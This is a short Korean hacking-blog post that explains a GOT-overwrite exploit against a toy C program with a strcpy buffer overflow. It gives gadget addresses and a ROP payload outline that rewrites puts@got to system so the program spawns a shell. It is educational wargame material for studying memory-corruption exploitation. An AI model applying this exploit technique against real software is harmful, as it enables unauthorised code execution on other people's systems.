-
Got Overwrite Using puts@gotHack/Pwnable 2015. 9. 15. 02:16
소스는 이렇다.
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[])
{
char buf[32];
strcpy(buf,argv[1]);
puts("/bin/sh");
}
strcpy로 argv[1]을 복사해주는 프로그램이다.got overwrite를 쉽게해주기위해 /bin/sh를 출력해준다.여기서 puts@got를 system주소로 바꿔 /bin/sh를 실행시킬거다.그럴려면 우선 아래와같은 가젯들이 필요하다.puts@got = 0x804a010strcpy@plt = 0x8048310ppr = 80484def7 = 80484d6e5 = 80483e46c = 8048155d0 = 8048440구성 페이로드는 아래와같다."\x90"*buffersize + strcpy@plt + ppr + puts@got + d0 + strcpy@plt + ppr + puts@got+1 + 6c.... /bin/sh (puts("/bin/sh");마지막으로 /bin/sh 출력해주는 puts를 호출시켜줬는데 그렇게되면 strcpy로 puts@got를 system주소로 바꼈기때문에 결론적으로system("/bin/sh")가 실행되게된다.'Hack > Pwnable' 카테고리의 다른 글
HackCat 3rd gottheflag (0) 2015.09.25 Plaid CTF 2013 ropasaurusrex (0) 2015.09.15 gdb 1줄로 사용하기 (0) 2015.09.02 Parallels LPE Vulnarability (0) 2015.08.30 Windows Buffer OverFlow (0) 2015.08.12